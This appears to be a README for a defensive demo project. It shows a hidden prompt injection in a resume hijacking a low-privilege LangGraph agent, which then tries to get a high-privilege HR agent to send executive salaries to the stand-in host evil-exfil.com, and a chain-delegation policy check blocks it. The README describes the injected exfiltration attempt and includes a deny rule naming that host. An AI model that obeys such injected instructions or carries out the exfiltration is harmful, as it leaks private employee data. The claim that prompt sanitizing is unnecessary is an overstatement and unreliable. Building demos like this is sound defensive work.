Demonstrates Chain Delegation in Predicate Authority preventing a prompt injection attack from escalating privileges across a multi-agent LangGraph system.
A malicious resume contains a hidden prompt injection payload (1pt white text). When processed:
- Intake Agent (low-privilege, local LLM) parses the resume
- The injection hijacks the agent to pass a malicious instruction
- HR Admin Agent (high-privilege, cloud LLM) receives the instruction
- The instruction attempts to: query executive salaries → exfiltrate to
evil-exfil.com
Intake Agent scope: fs.read (can only read inbox files)
HR Admin scope: cli.exec, http.fetch (DB queries, internal API)
Requested delegation: http.fetch → http://evil-exfil.com/drop
Chain Delegation check: requested_scope ⊆ parent_scope
http.fetch ⊆ fs.read = FALSE
Result: DENIED - Cannot delegate permissions you don't have
No setup required - starts sidecar automatically in a container:
cd predicate-secure/examples/langgraph-poisoned-escalation
./run-demo.sh --dockerRun with your local sidecar to see authorization decisions in the Web UI:
Terminal 1 - Start the sidecar:
cd rust-predicate-authorityd
cargo run -- --policy-file ../predicate-secure/examples/langgraph-poisoned-escalation/policy.yamlTerminal 2 - Run the demo:
cd predicate-secure/examples/langgraph-poisoned-escalation
./run-demo.sh --localOpen http://localhost:8787 to see the sidecar Web UI showing allow/deny decisions in real-time.
The Web UI shows each authorization request with:
- Principal (agent identity)
- Action being requested
- Resource being accessed
- Policy evaluation result (ALLOW/DENY)
- Matched or violated rule
# Install VHS
brew install vhs
# Install Python dependencies (for local mode)
pip install langgraph httpxTerminal 1 - Start the sidecar:
cd rust-predicate-authorityd
cargo run -- --policy-file ../predicate-secure/examples/langgraph-poisoned-escalation/policy.yamlTerminal 2 - Record:
cd predicate-secure/examples/langgraph-poisoned-escalation
vhs demo.tapeOutputs: poisoned-escalation-demo.gif
No sidecar setup needed - everything runs in containers:
cd predicate-secure/examples/langgraph-poisoned-escalation
vhs demo-docker.tapeOutputs: poisoned-escalation-demo-docker.gif
- Hides username/hostname (clean
$prompt) - Title cards before the demo
- Automatic timing for each phase
langgraph-poisoned-escalation/
├── src/
│ └── poisoned_escalation.py # Main demo script (LangGraph + terminal UI)
├── payloads/
│ └── resume_jdoe.txt # The poisoned resume with hidden injection
├── policy.yaml # Predicate Authority policy
├── docker-compose.yml # Docker setup with sidecar + demo
├── Dockerfile # Python agent container
├── Dockerfile.sidecar # Sidecar binary container
├── requirements.txt # Python dependencies
├── run-demo.sh # Run script (--local or --docker)
├── demo.tape # VHS tape for local mode recording
├── demo-docker.tape # VHS tape for Docker mode recording
├── assets/
│ └── sidecar-web-ui.png # Screenshot of sidecar Web UI
└── README.md # This file
The key policy rules:
# Intake Agent: Can ONLY read from /inbox
- name: intake-read-inbox
effect: allow
principals: ["agent:intake"]
actions: ["fs.read"]
resources: ["/inbox/*", "./payloads/*"]
# HR Admin: Can query DB and access INTERNAL APIs only
- name: hr-admin-internal-api
effect: allow
principals: ["agent:hr-admin"]
actions: ["http.fetch"]
resources: ["https://api.internal.corp/*"] # NOT evil-exfil.com!
# Block ALL external network egress
- name: deny-external-egress
effect: deny
principals: ["*"]
actions: ["http.fetch"]
resources: ["http://evil-exfil.com/*", "https://evil-exfil.com/*"]You don't need to sanitize prompts. Chain Delegation mathematically guarantees that a hijacked low-privilege agent CANNOT use a high-privilege agent as a confused deputy.
The security boundary is at the delegation handoff, not the prompt parsing.
| Variable | Default | Description |
|---|---|---|
SLOW_MODE |
1 |
Timing multiplier (2 = 2x slower for GIF) |
PREDICATE_SIDECAR_URL |
http://localhost:8787 |
Sidecar URL for local mode |

